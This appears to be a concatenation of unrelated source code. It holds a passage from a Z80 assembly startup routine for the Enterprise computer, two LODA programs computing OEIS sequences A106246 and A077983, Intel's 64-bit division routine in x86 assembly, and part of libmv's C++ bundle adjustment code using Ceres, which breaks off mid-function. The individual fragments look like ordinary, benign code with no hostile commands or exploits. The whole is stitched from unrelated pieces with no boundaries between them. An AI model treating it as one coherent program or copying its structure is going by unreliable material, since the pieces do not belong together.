(0b2h), a ld c, 060h rst 30h defb 0 ld hl, __VideoVariables call set_exos_multi_variables call daveReset halt halt ld a, 66h ld de, _DEV_VIDEO rst 30h defb 1 ld a, 69h ld de, _DEV_KEYBOARD rst 30h defb 1 ; ld a, 66h ; ld b, 4 ; @@FONT ; rst 30h ; defb 11 ld a, 66h ld bc, $0101 ; @@DISP, from first line ld de, $1901 ; to line 25, at screen line 1 rst 30h defb 11 ; set 40x25 characters window ld hl,0 add hl,sp ; ld (start1+1),hl ld (start1+1),sp ; ld hl,-64 ; add hl,sp ; ld sp,hl ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "amalloc.def" ENDIF IF !DEFINED_nostreams IF DEFINED_ANSIstdio ; Set up the std* stuff so we can be called again ld hl,__sgoioblk+2 ld (hl),19 ;stdin ld hl,__sgoioblk+6 ld (hl),21 ;stdout ld hl,__sgoioblk+10 ld (hl),21 ;stderr ENDIF ENDIF call _main cleanup: ; ; Deallocate memory which has been allocated here! ; IF !DEFINED_nostreams IF DEFINED_ANSIstdio EXTERN closeall call closeall ENDIF ENDIF IF (!DEFINED_startup | (startup=1)) warmreset: ld sp, 0100h ld a, 0ffh out (0b2h), a ld c, 60h rst 30h defb 0 ld de, _basiccmd rst 30h defb 26 ld a, 01h out (0b3h), a ld a, 6 jp 0c00dh _basiccmd: defb 5 defm "BASIC" ENDIF start1: ld sp,0 ret l_dcal: jp (hl) ; Now, define some values for stdin, stdout, stderr __sgoioblk: IF DEFINED_ANSIstdio INCLUDE "stdio_fp.asm" ELSE defw -11,-12,-10 ENDIF ; Now, which of the vfprintf routines do we need? _vfprintf: IF DEFINED_floatstdio EXTERN vfprintf_fp jp vfprintf_fp ELSE IF DEFINED_complexstdio EXTERN vfprintf_comp jp vfprintf_comp ELSE IF DEFINED_ministdio EXTERN vfprintf_mini jp vfprintf_mini ENDIF ENDIF ENDIF ; --------------- ; Misc Variables ; --------------- IF DEFINED_NEED1bitsound snd_tick: defb 0 ; Sound variable bit_irqstatus: defw 0 ENDIF ;Seed for integer rand() routines IF !DEFINED_HAVESEED PUBLIC _std_seed ;Integer rand() seed _std_seed: defw 0 ; Seed for integer rand() routines ENDIF ;Atexit routine exitsp: defw 0 exitcount: defb 0 ; Heap stuff heaplast: defw 0 heapblocks: defw 0 IF DEFINED_USING_amalloc EXTERN ASMTAIL PUBLIC _heap ; The heap pointer will be wiped at startup, ; but first its value (based on ASMTAIL) ; will be kept for sbrk() to setup the malloc area _heap: defw ASMTAIL ; Location of the last program byte defw 0 ENDIF ; mem stuff defm "Small C+ Enterprise" end: defb 0 ;All the float stuff is kept in a different file...for ease of altering! ;It will eventually be integrated into the library ; ;Here we have a minor (minor!) problem, we've no idea if we need the ;float package if this is separated from main (we had this problem before ;but it wasn't critical..so, now we will have to read in a file from ;the directory (this will be produced by zcc) which tells us if we need ;the floatpackage, and if so what it is..kludgey, but it might just work! ; ;Brainwave time! The zcc_opt file could actually be written by the ;compiler as it goes through the modules, appending as necessary - this ;way we only include the package if we *really* need it! IF NEED_floatpack INCLUDE "float.asm" ;seed for random number generator - not used yet.. fp_seed: defb $80,$80,0,0,0,0 ;Floating point registers... extra: defs 6 fa: defs 6 fasign: defb 0 ENDIF set_exos_multi_variables: _l1: ld b, 1 ld c, (hl) inc c dec c ret z inc hl ld d, (hl) inc hl rst 30h defb 16 jr _l1 ret daveReset: push bc xor a ld bc, 010afh _l2: out (c), a dec c djnz _l2 pop bc ret _DEV_VIDEO: defb 6 defm "VIDEO:" _DEV_KEYBOARD: defb 9 defm "KEYBOARD:" _DEV_EDITOR: defb 4 defm "EDITOR:" _DEV_NET: defb 4 defm "NET:" _DEV_SERIAL: defb 7 defm "SERIAL:" _DEV_TAPE: defb 5 defm "TAPE:" _DEV_PRINTER: defb 8 defm "PRINTER:" _DEV_SOUND: defb 6 defm "SOUND:" _esccmd: defb 27 _esccmd_cmd: defb 0 _esccmd_x: _esccmd_p1: _esccmd_env: _esccmd_en: defb 0 _esccmd_p2: _esccmd_p: _esccmd_ep: defb 0 _esccmd_y: _esccmd_p3: _esccmd_er: defb 0 _esccmd_phase: _esccmd_p4: _esccmd_vl: _esccmd_cp: defb 0 _esccmd_p5: _esccmd_vr: defb 0 _esccmd_p6: _esccmd_sty: _esccmd_cl: defb 0 _esccmd_p7: _esccmd_ch: defb 0 _esccmd_p8: _esccmd_d: _esccmd_cr: defb 0 _esccmd_p9: _esccmd_pd: defb 0 _esccmd_f: defb 0 __videoVariables: defb 22, 0 ; MODE_VID - hw text mode defb 23, 0 ; COLR_VID - mono defb 24, 40 ; X_SIZ_VID defb 25, 25 ; Y_SIZ_VID defb 0
; A106246: Number triangle T(n,k)=C(n,k)C(2,n-k). ; Submitted by Christian Krause ; 1,2,1,1,4,1,0,3,6,1,0,0,6,8,1,0,0,0,10,10,1,0,0,0,0,15,12,1,0,0,0,0,0,21,14,1,0,0,0,0,0,0,28,16,1,0,0,0,0,0,0,0,36,18,1,0,0,0,0,0,0,0,0,45,20,1,0,0,0,0,0,0,0,0,0,55,22,1,0,0,0,0,0,0,0,0,0,0,66,24,1,0,0,0,0,0,0,0,0,0 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 mov $0,2 bin $0,$2 mul $1,16 mul $1,$0 mov $0,$1 div $0,16
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation ; All rights reserved. This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; DivU64x64Remainder.asm ; ; Abstract: ; ; Calculate the quotient of a 64-bit integer by a 64-bit integer and returns ; both the quotient and the remainder ; ;------------------------------------------------------------------------------ .386 .model flat,C .code EXTERN InternalMathDivRemU64x32:PROC ;------------------------------------------------------------------------------ ; UINT64 ; EFIAPI ; InternalMathDivRemU64x64 ( ; IN UINT64 Dividend, ; IN UINT64 Divisor, ; OUT UINT64 *Remainder OPTIONAL ; ); ;------------------------------------------------------------------------------ InternalMathDivRemU64x64 PROC mov ecx, [esp + 16] ; ecx <- divisor[32..63] test ecx, ecx jnz _@DivRemU64x64 ; call _@DivRemU64x64 if Divisor > 2^32 mov ecx, [esp + 20] jecxz @F and dword ptr [ecx + 4], 0 ; zero high dword of remainder mov [esp + 16], ecx ; set up stack frame to match DivRemU64x32 @@: jmp InternalMathDivRemU64x32 InternalMathDivRemU64x64 ENDP _@DivRemU64x64 PROC USES ebx esi edi mov edx, dword ptr [esp + 20] mov eax, dword ptr [esp + 16] ; edx:eax <- dividend mov edi, edx mov esi, eax ; edi:esi <- dividend mov ebx, dword ptr [esp + 24] ; ecx:ebx <- divisor @@: shr edx, 1 rcr eax, 1 shrd ebx, ecx, 1 shr ecx, 1 jnz @B div ebx mov ebx, eax ; ebx <- quotient mov ecx, [esp + 28] ; ecx <- high dword of divisor mul dword ptr [esp + 24] ; edx:eax <- quotient * divisor[0..31] imul ecx, ebx ; ecx <- quotient * divisor[32..63] add edx, ecx ; edx <- (quotient * divisor)[32..63] mov ecx, dword ptr [esp + 32] ; ecx <- addr for Remainder jc @TooLarge ; product > 2^64 cmp edi, edx ; compare high 32 bits ja @Correct jb @TooLarge ; product > dividend cmp esi, eax jae @Correct ; product <= dividend @TooLarge: dec ebx ; adjust quotient by -1 jecxz @Return ; return if Remainder == NULL sub eax, dword ptr [esp + 24] sbb edx, dword ptr [esp + 28] ; edx:eax <- (quotient - 1) * divisor @Correct: jecxz @Return sub esi, eax sbb edi, edx ; edi:esi <- remainder mov [ecx], esi mov [ecx + 4], edi @Return: mov eax, ebx ; eax <- quotient xor edx, edx ; quotient is 32 bits long ret _@DivRemU64x64 ENDP END
; A077983: Expansion of 1/(1 + 2*x - 2*x^2 + x^3). ; Submitted by Christian Krause ; 1,-2,6,-17,48,-136,385,-1090,3086,-8737,24736,-70032,198273,-561346,1589270,-4499505,12738896,-36066072,102109441,-289089922,818464798,-2317218881,6560457280,-18573817120,52585767681,-148879626882,421504606246,-1193354233937,3378597307248,-9565407688616,27081364225665,-76672141135810,217072418411566,-614570483320417,1739957944599776,-4926129274251952,13946744921023873,-39485706335151426,111791031786602550,-316500221164531825,896068212237420176,-2536927898590506552,7182492442820385281 lpb $0 mov $2,$0 sub $0,1 seq $2,78054 ; Expansion of (1-x)/(1+2*x-2*x^2+x^3). add $1,$2 lpe add $1,1 mov $0,$1
// Copyright (c) 2011, 2012, 2013 libmv authors. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. #include "libmv/simple_pipeline/bundle.h" #include <map> #include <thread> #include "ceres/ceres.h" #include "ceres/rotation.h" #include "libmv/base/map.h" #include "libmv/base/vector.h" #include "libmv/logging/logging.h" #include "libmv/multiview/fundamental.h" #include "libmv/multiview/projection.h" #include "libmv/numeric/numeric.h" #include "libmv/simple_pipeline/camera_intrinsics.h" #include "libmv/simple_pipeline/reconstruction.h" #include "libmv/simple_pipeline/tracks.h" #include "libmv/simple_pipeline/distortion_models.h" namespace libmv { // The intrinsics need to get combined into a single parameter block; use these // enums to index instead of numeric constants. enum { // Camera calibration values. OFFSET_FOCAL_LENGTH, OFFSET_PRINCIPAL_POINT_X, OFFSET_PRINCIPAL_POINT_Y, // Distortion model coefficients. OFFSET_K1, OFFSET_K2, OFFSET_K3, OFFSET_K4, OFFSET_P1, OFFSET_P2, // Maximal possible offset. OFFSET_MAX, }; #define FIRST_DISTORTION_COEFFICIENT OFFSET_K1 #define LAST_DISTORTION_COEFFICIENT OFFSET_P2 #define NUM_DISTORTION_COEFFICIENTS \ (LAST_DISTORTION_COEFFICIENT - FIRST_DISTORTION_COEFFICIENT + 1) namespace { bool NeedUseInvertIntrinsicsPipeline(const CameraIntrinsics *intrinsics) { const DistortionModelType distortion_model = intrinsics->GetDistortionModelType(); return (distortion_model == DISTORTION_MODEL_NUKE); } // Apply distortion model (distort the input) on the input point in the // normalized space to get distorted coordinate in the image space. // // Using intrinsics values from the parameter block, which makes this function // suitable for use from a cost functor. // // Only use for distortion models which are analytically defined for their // Apply() function. // // The invariant_intrinsics are used to access intrinsics which are never // packed into parameter block: for example, distortion model type and image // dimension. template<typename T> void ApplyDistortionModelUsingIntrinsicsBlock( const CameraIntrinsics *invariant_intrinsics, const T* const intrinsics_block, const T& normalized_x, const T& normalized_y, T* distorted_x, T* distorted_y) { // Unpack the intrinsics. const T& focal_length = intrinsics_block[OFFSET_FOCAL_LENGTH]; const T& principal_point_x = intrinsics_block[OFFSET_PRINCIPAL_POINT_X]; const T& principal_point_y = intrinsics_block[OFFSET_PRINCIPAL_POINT_Y]; // TODO(keir): Do early bailouts for zero distortion; these are expensive // jet operations. switch (invariant_intrinsics->GetDistortionModelType()) { case DISTORTION_MODEL_POLYNOMIAL: { const T& k1 = intrinsics_block[OFFSET_K1]; const T& k2 = intrinsics_block[OFFSET_K2]; const T& k3 = intrinsics_block[OFFSET_K3]; const T& p1 = intrinsics_block[OFFSET_P1]; const T& p2 = intrinsics_block[OFFSET_P2]; ApplyPolynomialDistortionModel(focal_length, focal_length, principal_point_x, principal_point_y, k1, k2, k3, p1, p2, normalized_x, normalized_y, distorted_x, distorted_y); return; } case DISTORTION_MODEL_DIVISION: { const T& k1 = intrinsics_block[OFFSET_K1]; const T& k2 = intrinsics_block[OFFSET_K2]; ApplyDivisionDistortionModel(focal_length, focal_length, principal_point_x, principal_point_y, k1, k2, normalized_x, normalized_y, distorted_x, distorted_y); return; } case DISTORTION_MODEL_NUKE: { LOG(FATAL) << "Unsupported distortion model."; return; } case DISTORTION_MODEL_BROWN: { const T& k1 = intrinsics_block[OFFSET_K1]; const T& k2 = intrinsics_block[OFFSET_K2]; const T& k3 = intrinsics_block[OFFSET_K3]; const T& k4 = intrinsics_block[OFFSET_K4]; const T& p1 = intrinsics_block[OFFSET_P1]; const T& p2 = intrinsics_block[OFFSET_P2]; ApplyBrownDistortionModel(focal_length, focal_length, principal_point_x, principal_point_y, k1, k2, k3, k4, p1, p2, normalized_x, normalized_y, distorted_x, distorted_y); return; } } LOG(FATAL) << "Unknown distortion model."; } // Invert distortion model (undistort the input) on the input point in the // image space to get undistorted coordinate in the normalized space. // // Using intrinsics values from the parameter block, which makes this function // suitable for use from a cost functor. // // Only use for distortion models which are analytically defined for their // Invert() function. // // The invariant_intrinsics are used to access intrinsics which are never // packed into parameter block: for example, distortion model type and image // dimension. template<typename T> void InvertDistortionModelUsingIntrinsicsBlock( const CameraIntrinsics *invariant_intrinsics, const T* const intrinsics_block, const T& image_x, const T& image_y, T* normalized_x, T* normalized_y) { // Unpack the intrinsics. const T& focal_length = intrinsics_block[OFFSET_FOCAL_LENGTH]; const T& principal_point_x = intrinsics_block[OFFSET_PRINCIPAL_POINT_X]; const T& principal_point_y = intrinsics_block[OFFSET_PRINCIPAL_POINT_Y]; // TODO(keir): Do early bailouts for zero distortion; these are expensive // jet operations. switch (invariant_intrinsics->GetDistortionModelType()) { case DISTORTION_MODEL_POLYNOMIAL: case DISTORTION_MODEL_DIVISION: case DISTORTION_MODEL_BROWN: LOG(FATAL) << "Unsupported distortion model."; return; case DISTORTION_MODEL_NUKE: { const T& k1 = intrinsics_block[OFFSET_K1]; const T& k2 = intrinsics_block[OFFSET_K2]; InvertNukeDistortionModel(focal_length, focal_length, principal_point_x, principal_point_y, invariant_intrinsics->image_width(), invariant_intrinsics->image_height(), k1, k2, image_x, image_y, normalized_x, normalized_y); return; } } LOG(FATAL) << "Unknown distortion model."; } template<typename T> void NormalizedToImageSpace(const T* const intrinsics_block, const T& normalized_x, const T& normalized_y, T* image_x, T* image_y) { // Unpack the intrinsics. const T& focal_length = intrinsics_block[OFFSET_FOCAL_LENGTH]; const T& principal_point_x = intrinsics_block[OFFSET_PRINCIPAL_POINT_X]; const T& principal_point_y = intrinsics_block[OFFSET_PRINCIPAL_POINT_Y]; *image_x = normalized_x * focal_length + principal_point_x; *image_y = normalized_y * focal_length + principal_point_y; } // Cost functor which computes reprojection error of 3D point X on camera // defined by angle-axis rotation and it's translation (which are in the same // block due to optimization reasons). // // This functor can only be used for distortion models which have analytically // defined Apply() function. struct ReprojectionErrorApplyIntrinsics { ReprojectionErrorApplyIntrinsics( const CameraIntrinsics *invariant_intrinsics, const double observed_distorted_x, const double observed_distorted_y, const double weight) : invariant_intrinsics_(invariant_intrinsics), observed_distorted_x_(observed_distorted_x), observed_distorted_y_(observed_distorted_y), weight_(weight) {} template <typename T> bool operator()(const T* const intrinsics, const T* const R_t, // Rotation denoted by angle axis // followed with translation const T* const X, // Point coordinates 3x1. T* residuals) const { // Compute projective coordinates: x = RX + t. T x[3]; ceres::AngleAxisRotatePoint(R_t, X, x); x[0] += R_t[3]; x[1] += R_t[4]; x[2] += R_t[5]; // Prevent points from going behind the camera. if (x[2] < T(0)) { return false; } // Compute normalized coordinates: x /= x[2]. T xn = x[0] / x[2]; T yn = x[1] / x[2]; T predicted_distorted_x, predicted_distorted_y; ApplyDistortionModelUsingIntrinsicsBlock( invariant_intrinsics_, intrinsics, xn, yn, &predicted_distorted_x, &predicted_distorted_y); // The error is the difference between the predicted and observed position. residuals[0] = (predicted_distorted_x - T(observed_distorted_x_)) * weight_; residuals[1] = (predicted_distorted_y - T(observed_distorted_y_)) * weight_; return true; } const CameraIntrinsics *invariant_intrinsics_; const double observed_distorted_x_; const double observed_distorted_y_; const double weight_; }; // Cost functor which computes reprojection error of 3D point X on camera // defined by angle-axis rotation and it's translation (which are in the same // block due to optimization reasons). // // This functor can only be used for distortion models which have analytically // defined Invert() function. struct ReprojectionErrorInvertIntrinsics { ReprojectionErrorInvertIntrinsics( const CameraIntrinsics *invariant_intrinsics, const double observed_distorted_x, const double observed_distorted_y, const double weight) : invariant_intrinsics_(invariant_intrinsics), observed_distorted_x_(observed_distorted_x), observed_distorted_y_(observed_distorted_y), weight_(weight) {} template <typename T> bool operator()(const T* const intrinsics, const T* const R_t, // Rotation denoted by angle axis // followed with translation const T* const X, // Point coordinates 3x1. T* residuals) const { // Unpack the intrinsics. const T& focal_length = intrinsics[OFFSET_FOCAL_LENGTH]; const T& principal_point_x = intrinsics[OFFSET_PRINCIPAL_POINT_X]; const T& principal_point_y = intrinsics[OFFSET_PRINCIPAL_POINT_Y]; // Compute projective coordinates: x = RX + t. T x[3]; ceres::AngleAxisRotatePoint(R_t, X, x); x[0] += R_t[3]; x[1] += R_t[4]; x[2] += R_t[5]; // Prevent points from going behind the camera. if (x[2] < T(0)) { return false; } // Compute normalized coordinates: x /= x[2]. T xn = x[0] / x[2]; T yn = x[1] / x[2]; // Compute image space coordinate from normalized. T predicted_x = focal_length * xn + principal_point_x; T predicted_y = focal_length * yn + principal_point_y; T observed_undistorted_normalized_x, observed_undistorted_normalized_y; InvertDistortionModelUsingIntrinsicsBlock( invariant_intrinsics_, intrinsics, T(observed_distorted_x_), T(observed_distorted_y_), &observed_undistorted_normalized_x, &observed_undistorted_normalized_y); T observed_undistorted_image_x, observed_undistorted_image_y; NormalizedToImageSpace( intrinsics, observed_undistorted_normalized_x, observed_undistorted_normalized_y, &observed_undistorted_image_x, &observed_undistorted_image_y); // The error is the difference between the predicted and observed position. residuals[0] = (predicted_x - observed_undistorted_image_x) * weight_; residuals[1] = (predicted_y - observed_undistorted_image_y) * weight_; return true; } const CameraIntrinsics *invariant_intrinsics_; const double observed_distorted_x_; const double observed_distorted_y_; const double weight_; }; // Print a message to the log which camera intrinsics are gonna to be optimized. void BundleIntrinsicsLogMessage(const int bundle_intrinsics) { if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) { LOG(INFO) << "Bundling only camera positions."; } else { std::string bundling_message = ""; #define APPEND_BUNDLING_INTRINSICS(name, flag) \ if (bundle_intrinsics & flag) { \ if (!bundling_message.empty()) { \ bundling_message += ", "; \ } \ bundling_message += name; \ } (void)0 APPEND_BUNDLING_INTRINSICS("f", BUNDLE_FOCAL_LENGTH); APPEND_BUNDLING_INTRINSICS("px, py", BUNDLE_PRINCIPAL_POINT); APPEND_BUNDLING_INTRINSICS("k1", BUNDLE_RADIAL_K1); APPEND_BUNDLING_INTRINSICS("k2", BUNDLE_RADIAL_K2); APPEND_BUNDLING_INTRINSICS("p1", BUNDLE_TANGENTIAL_P1); APPEND_BUNDLING_INTRINSICS("p2", BUNDLE_TANGENTIAL_P2); LOG(INFO) << "Bundling " << bundling_message << "."; } } // Pack intrinsics from object to an array for easier // and faster minimization. void PackIntrinisicsIntoArray(const CameraIntrinsics &intrinsics, double intrinsics_block[OFFSET_MAX]) { // Pack common intrinsics part. intrinsics_block[OFFSET_FOCAL_LENGTH] = intrinsics.focal_length(); intrinsics_block[OFFSET_PRINCIPAL_POINT_X] = intrinsics.principal_point_x(); intrinsics_block[OFFSET_PRINCIPAL_POINT_Y] = intrinsics.principal_point_y(); // Per-model intrinsics block. // // The goal here is to get named parameters from the intrinsics object and // place them into well-defined position within the intrinsics block. This // simplifies logic of marking parameters constant. // // TODO(sergey): The code is very much similar to what is goping on in the // cost functors. With some templates and helper functions it will be // possible to reduce level of duplication. switch (intrinsics.GetDistortionModelType()) { case DISTORTION_MODEL_POLYNOMIAL: { const PolynomialCameraIntrinsics& polynomial_intrinsics = static_cast<const PolynomialCameraIntrinsics&>(intrinsics); intrinsics_block[OFFSET_K1] = polynomial_intrinsics.k1(); intrinsics_block[OFFSET_K2] = polynomial_intrinsics.k2(); intrinsics_block[OFFSET_K3] = polynomial_intrinsics.k3(); intrinsics_block[OFFSET_P1] = polynomial_intrinsics.p1(); intrinsics_block[OFFSET_P2] = polynomial_intrinsics.p2(); return; } case DISTORTION_MODEL_DIVISION: { const DivisionCameraIntrinsics& division_intrinsics = static_cast<const DivisionCameraIntrinsics&>(intrinsics); intrinsics_block[OFFSET_K1] = division_intrinsics.k1(); intrinsics_block[OFFSET_K2] = division_intrinsics.k2(); return; } case DISTORTION_MODEL_NUKE: { const NukeCameraIntrinsics& nuke_intrinsics = static_cast<const NukeCameraIntrinsics&>(intrinsics); intrinsics_block[OFFSET_K1] = nuke_intrinsics.k1(); intrinsics_block[OFFSET_K2] = nuke_intrinsics.k2(); return; } case DISTORTION_MODEL_BROWN: { const BrownCameraIntrinsics& brown_intrinsics = static_cast<const BrownCameraIntrinsics&>(intrinsics); intrinsics_block[OFFSET_K1] = brown_intrinsics.k1(); intrinsics_block[OFFSET_K2] = brown_intrinsics.k2(); intrinsics_block[OFFSET_K3] = brown_intrinsics.k3(); intrinsics_block[OFFSET_K4] = brown_intrinsics.k4(); intrinsics_block[OFFSET_P1] = brown_intrinsics.p1(); intrinsics_block[OFFSET_P2] = brown_intrinsics.p2(); return; } } LOG(FATAL) << "Unknown distortion model."; } // Unpack intrinsics back from an array to an object. void UnpackIntrinsicsFromArray(const double intrinsics_block[OFFSET_MAX], CameraIntrinsics *intrinsics) { // Unpack common intrinsics part. intrinsics->SetFocalLength(intrinsics_block[OFFSET_FOCAL_LENGTH], intrinsics_block[OFFSET_FOCAL_LENGTH]); intrinsics->SetPrincipalPoint(intrinsics_block[OFFSET_PRINCIPAL_POINT_X], intrinsics_block[OFFSET_PRINCIPAL_POINT_Y]); // Per-model intrinsics block. // // The goal here is to get named parameters from the intrinsics object and // place them into well-defined position within the intrinsics block. This // simplifies logic of marking parameters constant. // // TODO(sergey): The code is very much similar to what is goping on in the // cost functors. With some templates and helper functions it will be // possible to reduce level of duplication. switch (intrinsics->GetDistortionModelType()) { case DISTORTION_MODEL_POLYNOMIAL: { PolynomialCameraIntrinsics* polynomial_intrinsics = static_cast<PolynomialCameraIntrinsics*>(intrinsics); polynomial_intrinsics->SetRadialDistortion(intrinsics_block[OFFSET_K1], intrinsics_block[OFFSET_K2], intrinsics_block[OFFSET_K3]); polynomial_intrinsics->SetTangentialDistortion( intrinsics_block[OFFSET_P1], intrinsics_block[OFFSET_P2]); return; } case DISTORTION_MODEL_DIVISION: { DivisionCameraIntrinsics* division_intrinsics = static_cast<DivisionCameraIntrinsics*>(intrinsics); division_intrinsics->SetDistortion(intrinsics_block[OFFSET_K1], intrinsics_block[OFFSET_K2]); return; } case DISTORTION_MODEL_NUKE: { NukeCameraIntrinsics* nuke_intrinsics = static_cast<NukeCameraIntrinsics*>(intrinsics); nuke_intrinsics->SetDistortion(intrinsics_block[OFFSET_K1], intrinsics_block[OFFSET_K2]); return; } case DISTORTION_MODEL_BROWN: { BrownCameraIntrinsics* brown_intrinsics = static_cast<BrownCameraIntrinsics*>(intrinsics); brown_intrinsics->SetRadialDistortion(intrinsics_block[OFFSET_K1], intrinsics_block[OFFSET_K2], intrinsics_block[OFFSET_K3], intrinsics_block[OFFSET_K4]); brown_intrinsics->SetTangentialDistortion(intrinsics_block[OFFSET_P1], intrinsics_block[OFFSET_P2]); return; } } LOG(FATAL) << "Unknown distortion model."; } // Get a vector of camera's rotations denoted by angle axis // conjuncted with translations into single block // // Element with key i matches to a rotation+translation for // camera at image i. map<int, Vec6> PackCamerasRotationAndTranslation( const EuclideanReconstruction &reconstruction) { map<int, Vec6> all_cameras_R_t; vector<EuclideanCamera> all_cameras = reconstruction.AllCameras(); for (const EuclideanCamera& camera : all_cameras) { Vec6 camera_R_t; ceres::RotationMatrixToAngleAxis(&camera.R(0, 0), &camera_R_t(0)); camera_R_t.tail<3>() = camera.t; all_cameras_R_t.insert(make_pair(camera.image, camera_R_t)); } return all_cameras_R_t; } // Convert cameras rotations fro mangle axis back to rotation matrix. void UnpackCamerasRotationAndTranslation( const map<int, Vec6> &all_cameras_R_t, EuclideanReconstruction *reconstruction) { for (map<int, Vec6>::value_type image_and_camera_R_T : all_cameras_R_t) { const int image = image_and_camera_R_T.first; const Vec6& camera_R_t = image_and_camera_R_T.second; EuclideanCamera *camera = reconstruction->CameraForImage(image); if (!camera) { continue; } ceres::AngleAxisToRotationMatrix(&camera_R_t(0), &camera->R(0, 0)); camera->t = camera_R_t.tail<3>(); } } // Converts sparse CRSMatrix to Eigen matrix, so it could be used // all over in the pipeline. // // TODO(sergey): currently uses dense Eigen matrices, best would // be to use sparse Eigen matrices void CRSMatrixToEigenMatrix(const ceres::CRSMatrix &crs_matrix, Mat *eigen_matrix) { eigen_matrix->resize(crs_matrix.num_rows, crs_matrix.num_cols); eigen_matrix->setZero(); for (int row = 0; row < crs_matrix.num_rows; ++row) { int start = crs_matrix.rows[row]; int end = crs_matrix.rows[row + 1] - 1; for (int i = start; i <= end; i++) { int col = crs_matrix.cols[i]; double value = crs_matrix.values[i]; (*eigen_matrix)(row, col) = value; } } } void EuclideanBundlerPerformEvaluation(const Tracks &tracks, EuclideanReconstruction *reconstruction, map<int, Vec6> *all_cameras_R_t, ceres::Problem *problem, BundleEvaluation *evaluation) { int max_track = tracks.MaxTrack(); // Number of camera rotations equals to number of translation, int num_cameras = all_cameras_R_t->size(); int num_points = 0; vector<EuclideanPoint*> minimized_points; for (int i = 0; i <= max_track; i++) { EuclideanPoint *point = reconstruction->PointForTrack(i); if (point) { // We need to know whether the track is a constant zero weight. // If it is so it wouldn't have a parameter block in the problem. // // Usually getting all markers of a track is considered slow, but this // code is only used by the keyframe selection code where there aren't // that many tracks in the storage and there are only 2 frames for each // of the tracks. vector<Marker> markera_of_track = tracks.MarkersForTrack(i); for (int j = 0; j < markera_of_track.size(); j++) { if (markera_of_track.at(j).weight != 0.0) { minimized_points.push_back(point); num_points++; break; } } } } LG << "Number of cameras " << num_cameras; LG << "Number of points " << num_points; evaluation->num_cameras = num_cameras; evaluation->num_points = num_points; if (evaluation->evaluate_jacobian) { // Evaluate jacobian matrix. ceres::CRSMatrix evaluated_jacobian; ceres::Problem::EvaluateOptions eval_options; // Cameras goes first in the ordering. int max_image = tracks.MaxImage(); for (int i = 0; i <= max_image; i++) { const EuclideanCamera *camera = reconstruction->CameraForImage(i); if (camera) { double *current_camera_R_t = &(*all_cameras_R_t)[i](0); // All cameras are variable now. problem->SetParameterBlockVariable(current_camera_R_t); eval_options.parameter_blocks.push_back(current_camera_R_t); } } // Points goes at the end of ordering, for (int i = 0; i < minimized_points.size(); i++) { EuclideanPoint *point = minimized_points.at(i); eval_options.parameter_blocks.push_back(&point->X(0)); } problem->Evaluate(eval_options, NULL, NULL, NULL, &evaluated_jacobian); CRSMatrixToEigenMatrix(evaluated_jacobian, &evaluation->jacobian); } } template<typename CostFunction> void AddResidualBlockToProblemImpl(const CameraIntrinsics *invariant_intrinsics, double observed_x, double observed_y, double weight, double intrinsics_block[OFFSET_MAX], double *camera_R_t, EuclideanPoint *point, ceres::Problem* problem) { problem->AddResidualBlock(new ceres::AutoDiffCostFunction< CostFunction, 2, OFFSET_MAX, 6, 3>( new CostFunction( invariant_intrinsics, observed_x, observed_y, weight)), NULL, intrinsics_block, camera_R_t, &point->X(0)); } void AddResidualBlockToProblem(const CameraIntrinsics *invariant_intrinsics, const Marker &marker, double marker_weight, double intrinsics_block[OFFSET_MAX], double *camera_R_t, EuclideanPoint *point, ceres::Problem* problem) { if (NeedUseInvertIntrinsicsPipeline(invariant_intrinsics)) { AddResidualBlockToProblemImpl<ReprojectionErrorInvertIntrinsics>( invariant_intrinsics, marker.x, marker.y, marker_weight, intrinsics_block, camera_R_t, point, problem); } else { AddResidualBlockToProblemImpl<ReprojectionErrorApplyIntrinsics>( invariant_intrinsics, marker.x, marker.y, marker_weight, intrinsics_block, camera_R_t, point, problem); } } // This is an utility function to only bundle 3D position of // given markers list. // // Main purpose of this function is to adjust positions of tracks // which does have constant zero weight and so far only were using // algebraic intersection to obtain their 3D positions. // // At this point we only need to bundle points positions, cameras // are to be totally still here. void EuclideanBundlePointsOnly(const CameraIntrinsics *invariant_intrinsics, const vector<Marker> &markers, map<int, Vec6> &all_cameras_R_t, double intrinsics_block[OFFSET_MAX], EuclideanReconstruction *reconstruction) { ceres::Problem::Options problem_options; ceres::Problem problem(problem_options); int num_residuals = 0; for (int i = 0; i < markers.size(); ++i) { const Marker &marker = markers[i]; EuclideanCamera *camera = reconstruction->CameraForImage(marker.image); EuclideanPoint *point = reconstruction->PointForTrack(marker.track); if (camera == NULL || point == NULL) { continue; } // Rotation of camera denoted in angle axis followed with // camera translation. double *current_camera_R_t = &all_cameras_R_t[camera->image](0); AddResidualBlockToProblem(invariant_intrinsics, marker, 1.0, intrinsics_block, current_camera_R_t, point, &problem); problem.SetParameterBlockConstant(current_camera_R_t); num_residuals++; } LG << "Number of residuals: " << num_residuals; if (!num_residuals) { LG << "Skipping running minimizer with zero residuals"; return; } 